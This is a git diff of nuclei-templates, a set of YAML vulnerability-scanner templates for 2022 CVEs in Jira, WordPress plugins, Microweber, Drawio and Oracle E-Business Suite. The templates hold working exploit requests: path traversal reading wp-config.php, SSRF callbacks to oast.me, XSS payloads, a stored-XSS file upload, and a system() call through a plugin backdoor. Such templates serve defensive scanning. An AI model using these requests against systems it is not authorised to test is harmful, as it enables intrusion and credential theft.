max-request: 1 - vendor: atlassian - product: jira_data_center - shodan-query: http.component:"Atlassian Jira" - tags: cve,cve2022,atlassian,jira,exposure,auth-bypass - -http: - - method: GET - path: - - '{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;' - - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'General Insight Configuration' - - - type: status - status: - - 200 -# digest: 4a0a00473045022100b356f158d98318a855357790576be317b29c040cc4b83e9ce5c9fe54fc6684eb02206bea066d8503896703de749d0cbdc015c9910fb42cc3671fa481e6e72d71ab25:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0591.yaml b/nuclei-templates/CVE-2022/cve-2022-0591.yaml deleted file mode 100644 index fbc9d485a3..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0591.yaml +++ /dev/null @@ -1,61 +0,0 @@ -id: CVE-2022-0591 - -info: - name: Formcraft3 <3.8.28 - Server-Side Request Forgery - author: Akincibor,j4vaovo - severity: critical - description: | - Formcraft3 before version 3.8.2 does not validate the URL parameter in the formcraft3_get AJAX action, leading to server-side request forgery issues exploitable by unauthenticated users. - impact: | - An attacker can send crafted requests to the server, potentially leading to unauthorized access to internal resources or network scanning. - remediation: | - Upgrade to Formcraft3 version 3.8.28 or later to fix the SSRF vulnerability. - reference: - - https://wpscan.com/vulnerability/b5303e63-d640-4178-9237-d0f524b13d47 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0591 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2022-0591 - cwe-id: CWE-918 - epss-score: 0.03628 - epss-percentile: 0.90752 - cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:* - metadata: - verified: true - max-request: 1 - vendor: subtlewebinc - product: formcraft3 - framework: wordpress - fofa-query: body="formcraft3" && body="wp-" - tags: cve,cve2022,wp,wp-plugin,wordpress,formcraft3,wpscan,ssrf,unauth,subtlewebinc - -flow: http(1) && http(2) - -http: - - method: GET - path: - - '{{BaseURL}}' - - matchers: - - type: word - internal: true - words: - - '/wp-content/plugins/formcraft3/' - - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}' - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: WordPress" -# digest: 4a0a00473045022050c800f22165b78eeeda568eae93aa6ad13be3c17759a4e4a051e32056d630fb022100bc6a9514b58758e47ce37be047e3846ad8b2d8eda04e468a964dbb7d400139cb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0594.yaml b/nuclei-templates/CVE-2022/cve-2022-0594.yaml deleted file mode 100644 index a23d3ef545..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0594.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2022-0594 - -info: - name: WordPress Shareaholic <9.7.6 - Information Disclosure - author: atomiczsec - severity: medium - description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.). - impact: | - An attacker can exploit this vulnerability to gain sensitive information from the target system. - remediation: | - Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability. - reference: - - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1 - - https://wordpress.org/plugins/shareaholic/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0594 - - https://github.com/20142995/sectool - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2022-0594 - cwe-id: CWE-863 - epss-score: 0.00188 - epss-percentile: 0.55305 - cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:* - metadata: - verified: true - max-request: 1 - vendor: shareaholic - product: shareaholic - framework: wordpress - tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic - -http: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'plugin_version' - - 'shareaholic_server_reachable' - condition: and - - - type: word - part: header - words: - - "application/json" - - - type: status - status: - - 200 -# digest: 4a0a00473045022026e65f1c90c6eaf9ba5e9c3b8e4f427ce9aa3f172726d7f11a359aef9ff18913022100ea92da8d8af3bd508e47e670034d7298492987012965f9bfbc5b403cf1fd12da:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0653.yaml b/nuclei-templates/CVE-2022/cve-2022-0653.yaml deleted file mode 100644 index e06a6c604a..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0653.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-0653 - -info: - name: Wordpress Profile Builder Plugin Cross-Site Scripting - author: dhiyaneshDk - severity: medium - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653 - - https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/ - tags: cve,cve2022,wordpress,xss,wp-plugin - description: "The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1.\n\n." - remediation: Upgrade to version 3.6.5 or later. - classification: - cve-id: CVE-2022-0653 - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'here' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-0660.yaml b/nuclei-templates/CVE-2022/cve-2022-0660.yaml deleted file mode 100644 index 03acf180ab..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0660.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: CVE-2022-0660 - -info: - name: Microweber <1.2.11 - Information Disclosure - author: amit-jd - severity: high - description: | - Microweber before 1.2.11 is susceptible to information disclosure. An error message is generated in microweber/microweber which contains sensitive information while viewing comments from load_module:comments#search=. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. - remediation: | - Upgrade Microweber to version 1.2.11 or later to mitigate the vulnerability. - reference: - - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291/ - - https://github.com/advisories/GHSA-hhrj-wp42-32v3 - - https://huntr.dev/bounties/01fd2e0d-b8cf-487f-a16c-7b088ef3a291 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0660 - - https://github.com/microweber/microweber/commit/2417bd2eda2aa2868c1dad1abf62341f22bfc20a - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-0660 - cwe-id: CWE-209 - epss-score: 0.00719 - epss-percentile: 0.78502 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: microweber - product: microweber - tags: cve,cve2022,microweber,disclosure,authenticated,huntr - -http: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - POST /module/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Referer: {{BaseURL}}admin/view:comments - - class=+module+module-comments-manage+&id=mw_admin_posts_with_comments&data-type=comments%2Fmanage&parent-module-id=mw-main-module-backend&parent-module=comments&data-search-keyword={{randstr}} - - matchers: - - type: dsl - dsl: - - contains(body_2,'QueryException') - - contains(body_2,'SQLSTATE') - - contains(body_2,'runQueryCallback') - - 'contains(header_2,"text/html")' - - 'status_code_2==500' - condition: and -# digest: 490a00463044022006a6184e06a8bb2508ed86a39022ab8f8c89e52a6ee6b736be84fd8c1f355090022005d2a535f86a1e140b49cf1e94f2d5e08b7016c64e11b0a5ae67908a74aa59d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0963.yaml b/nuclei-templates/CVE-2022/cve-2022-0963.yaml deleted file mode 100644 index e2a7395a63..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0963.yaml +++ /dev/null @@ -1,75 +0,0 @@ -id: CVE-2022-0963 - -info: - name: Microweber <1.2.12 - Stored Cross-Site Scripting - author: amit-jd - severity: medium - description: | - Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,. - remediation: | - Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability. - reference: - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ - - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c - - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 - - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-0963 - cwe-id: CWE-79 - epss-score: 0.00144 - epss-percentile: 0.50156 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 3 - vendor: microweber - product: microweber - tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive - -http: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - POST /plupload HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034 - Referer: {{BaseURL}}admin/view:modules/load_module:files - - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="name" - - {{randstr}}.xml - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunk" - - 0 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunks" - - 1 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="file"; filename="blob" - Content-Type: application/octet-stream - - alert(document.domain) - -----------------------------59866212126262636974202255034-- - - | - GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'contains(body_3,"alert(document.domain)")' - - 'status_code_3==200' - - 'contains(body_2,"bytes_uploaded")' - condition: and -# digest: 4a0a0047304502204c9a4e25aee3216da25fd050f68cf7c0e5b0a4e65532f9f62d4b83f5058333e2022100dda270d1c7edbe6d34680d6f67ca827c790c9c53883fb2789a999d65b493962e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1119.yaml b/nuclei-templates/CVE-2022/cve-2022-1119.yaml deleted file mode 100644 index 1deaf81022..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-1119.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2022-1119 - -info: - name: WordPress Simple File List <3.2.8 - Local File Inclusion - author: random-robbie - severity: high - description: | - WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files. - impact: | - An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise. - remediation: | - Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability. - reference: - - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e - - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606 - - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1119 - - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-1119 - cwe-id: CWE-22 - epss-score: 0.42222 - epss-percentile: 0.97228 - cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: simplefilelist - product: simple-file-list - framework: wordpress - tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist - -http: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "DB_NAME" - - "DB_PASSWORD" - condition: and - - - type: status - status: - - 200 -# digest: 4a0a00473045022100b1c39b9ee69004af99081759b453e9aaa588196617ca9d9d1e49abca87f79a4f022061ba2a637e812dfee7d8b615755dc6e16e41b5980d3569c3b6eab3232a4954c3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1386.yaml b/nuclei-templates/CVE-2022/cve-2022-1386.yaml deleted file mode 100644 index e4dc9c8029..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-1386.yaml +++ /dev/null @@ -1,109 +0,0 @@ -id: CVE-2022-1386 - -info: - name: WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery - author: akincibor,MantisSTS,calumjelrick - severity: critical - description: | - WordPress Fusion Builder plugin before 3.6.2 is susceptible to server-side request forgery. The plugin does not validate a parameter in its forms, which can be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. An attacker can potentially interact with hosts on the server's local network, bypass firewalls, and access control measures. - impact: | - An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure. - remediation: | - Update to the latest version of WordPress Fusion Builder plugin (3.6.2) or apply the vendor-provided patch. - reference: - - https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b - - https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme/ - - https://theme-fusion.com/version-7-6-2-security-update/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-1386 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-1386 - cwe-id: CWE-918 - epss-score: 0.32824 - epss-percentile: 0.96921 - cpe: cpe:2.3:a:fusion_builder_project:fusion_builder:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: fusion_builder_project - product: fusion_builder - framework: wordpress - tags: cve,cve2022,wpscan,wordpress,ssrf,themefusion,wp,fusion,avada,intrusive,theme-fusion - -http: - - raw: - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{RootURL}} - - action=fusion_form_update_view - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268 - Origin: {{BaseURL}} - Referer: {{RootURL}} - - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="formData" - - email=example%40example.com&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva - cy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data= - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="action" - - fusion_form_submit_form_to_url - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="fusion_form_nonce" - - {{fusionformnonce}} - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="form_id" - - 0 - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="post_id" - - 0 - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="field_labels" - - {"email":"Email address"} - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="hidden_field_names" - - [] - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="fusionAction" - - https://oast.me - -----------------------------30259827232283860776499538268 - Content-Disposition: form-data; name="fusionActionMethod" - - GET - -----------------------------30259827232283860776499538268-- - - matchers-condition: and - matchers: - - type: word - part: body_2 - words: - - Interactsh Server - - - type: status - status: - - 200 - - extractors: - - type: xpath - name: fusionformnonce - internal: true - xpath: - - //*[@id="fusion-form-nonce-0"] - attribute: value - part: body_1 -# digest: 4a0a004730450221009e4f84c1a60e936aa81382f98d25ac85f3b9963376deb4604aad0c18365636e1022079b9490d088fe95143ddb43ed91e207cc86f6d72d325803eed7429654adb08a6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1392.yaml b/nuclei-templates/CVE-2022/cve-2022-1392.yaml new file mode 100644 index 0000000000..81f38e8525 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-1392.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-1392 + +info: + name: WordPress Videos sync PDF <=1.7.4 - Local File Inclusion + author: Veshraj + severity: high + description: WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion. + impact: | + Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system. + remediation: | + Upgrade to the latest version of WordPress Videos sync PDF plugin (>=1.7.5) or apply the vendor-provided patch to mitigate the vulnerability. + reference: + - https://wpscan.com/vulnerability/fe3da8c1-ae21-4b70-b3f5-a7d014aa3815 + - https://packetstormsecurity.com/files/166534/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-1392 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-1392 + cwe-id: CWE-22 + epss-score: 0.01867 + epss-percentile: 0.87073 + cpe: cpe:2.3:a:commoninja:videos_sync_pdf:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 1 + vendor: commoninja + product: videos_sync_pdf + framework: wordpress + tags: cve,cve2022,lfi,wp-plugin,unauth,wpscan,packetstorm,wp,wordpress,commoninja + +http: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "failed to open stream: No such file or directory" + - "REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php" + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022024a5506a3c00727ecfc4753913791b663aef57c426625d115e2bcbb557846a1f022100834c702542a6c6510bbec672cea1f477413753a349dbcd230b21b6e9c4daaaee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1609.yaml b/nuclei-templates/CVE-2022/cve-2022-1609.yaml new file mode 100644 index 0000000000..4e6b12b21f --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-1609.yaml @@ -0,0 +1,51 @@ +id: CVE-2022-1609 + +info: + name: The School Management < 9.9.7 - Remote Code Execution + author: For3stCo1d + severity: critical + description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. + remediation: | + Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability. + reference: + - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609 + - https://github.com/nastar-id/WP-school-management-RCE + - https://github.com/nomi-sec/PoC-in-GitHub + - https://github.com/0x007f/cve-2022-1609-exploit + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-1609 + cwe-id: CWE-94 + epss-score: 0.11941 + epss-percentile: 0.95204 + cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:* + metadata: + verified: false + max-request: 1 + vendor: weblizar + product: school_management + framework: wordpress + tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress +variables: + cmd: "echo CVE-2022-1609 | rev" + +http: + - raw: + - | + POST /wp-json/am-member/license HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + blowfish=1&blowf=system('{{cmd}}'); + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '9061-2202-EVC' +# digest: 4a0a0047304502200872372405ed22355feb5563998d7f95436c514c160cfeccf01a8b2abd46b860022100be3d47033c621fc7e1bb884a38a475d6cea39dca8c02c8eddbc4cbcaeb933025:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1815.yaml b/nuclei-templates/CVE-2022/cve-2022-1815.yaml deleted file mode 100644 index 4a3bd44221..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-1815.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-1815 - -info: - name: Drawio <18.1.2 - Server-Side Request Forgery - author: amit-jd - severity: high - description: | - Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - impact: | - Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services. - remediation: | - Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability. - reference: - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/ - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f - - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-1815 - cwe-id: CWE-918,CWE-200 - epss-score: 0.02327 - epss-percentile: 0.89496 - cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: diagrams - product: drawio - tags: cve,cve2022,huntr,drawio,ssrf,oast,oss,jgraph,diagrams - -http: - - raw: - - | - GET /service/0/test.oast.me HTTP/2 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - "contains(body, 'Interactsh Server')" - - status_code == 200 - condition: and -# digest: 4b0a004830460221009f35d80f39006377b499e7582c11b749772582ca4778c993f70157a0094e4bf4022100bb90c3f428c55557012fa9b0accf22af9f738541f92fb8a086a73427e971ad1c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1937.yaml b/nuclei-templates/CVE-2022/cve-2022-1937.yaml deleted file mode 100644 index d258094795..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-1937.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2022-1937 - -info: - name: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting - author: Akincibor,DhiyaneshDK - severity: medium - description: | - WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability. - reference: - - https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1937 - - https://github.com/ARPSyndicate/kenzer-templates - - https://github.com/cyllective/CVEs - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-1937 - cwe-id: CWE-79 - epss-score: 0.00086 - epss-percentile: 0.35299 - cpe: cpe:2.3:a:awin:awin_data_feed:*:*:*:*:*:wordpress:*:* - metadata: - verified: true - max-request: 2 - vendor: awin - product: awin_data_feed - framework: wordpress - tags: cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated - -http: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'contains(header_2, "text/html")' - - 'status_code_2 == 200' - - contains(body_2, 'colspan=\"2\">') - condition: and -# digest: 490a004630440220170ac3b82ccb9b570e6bb77c89e795bb00812e13535321c65b180d3fba90263d02207f790f63af137d15a3858b4531a0d2f5502f534a8167ff14abeae04f17ac12fc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-21500.yaml b/nuclei-templates/CVE-2022/cve-2022-21500.yaml new file mode 100644 index 0000000000..578dc0e7cb --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-21500.yaml @@ -0,0 +1,56 @@ +id: CVE-2022-21500 + +info: + name: Oracle E-Business Suite <=12.2 - Authentication Bypass + author: 3th1c_yuk1,tess,0xpugazh + severity: high + description: | + Oracle E-Business Suite (component: Manage Proxies) 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Suite accessible data. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the Oracle E-Business Suite application. + remediation: | + Apply the necessary security patches or updates provided by Oracle to mitigate this vulnerability. + reference: + - https://orwaatyat.medium.com/my-new-discovery-in-oracle-e-business-login-panel-that-allowed-to-access-for-all-employees-ed0ec4cad7ac + - https://twitter.com/GodfatherOrwa/status/1514720677173026816 + - https://www.oracle.com/security-alerts/alert-cve-2022-21500.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-21500 + - https://www.oracle.com/security-alerts/cpujul2022.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-21500 + epss-score: 0.92631 + epss-percentile: 0.98947 + cpe: cpe:2.3:a:oracle:e-business_suite:12.2:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 4 + vendor: oracle + product: e-business_suite + shodan-query: http.title:"Login" "X-ORACLE-DMS-ECID" 200 + tags: cve,cve2022,oracle,misconfig,auth-bypass + +http: + - method: GET + path: + - '{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpPrimaryCreate.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpIndividualUser.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpPartnerPriCreate.jsp' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + words: + - 'Registration' + - 'Register as individual' + - '' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022077a908cc0f84943d99a897323cdeb2899210c5a6cd3d08634c62ced31283feeb022100a8428c5469152520da4ec621970240d45755a2c602d099e22dce986d12653785:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-2187.yaml b/nuclei-templates/CVE-2022/cve-2022-2187.yaml new file mode 100644 index 0000000000..d09c6195c5 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-2187.yaml @@ -0,0 +1,56 @@ +id: CVE-2022-2187 + +info: + name: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting + author: For3stCo1d + severity: medium + description: | + WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute. + impact: | + Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability. + reference: + - https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d + - https://wordpress.org/plugins/contact-form-7-simple-recaptcha + - https://nvd.nist.gov/vuln/detail/CVE-2022-2187 + - 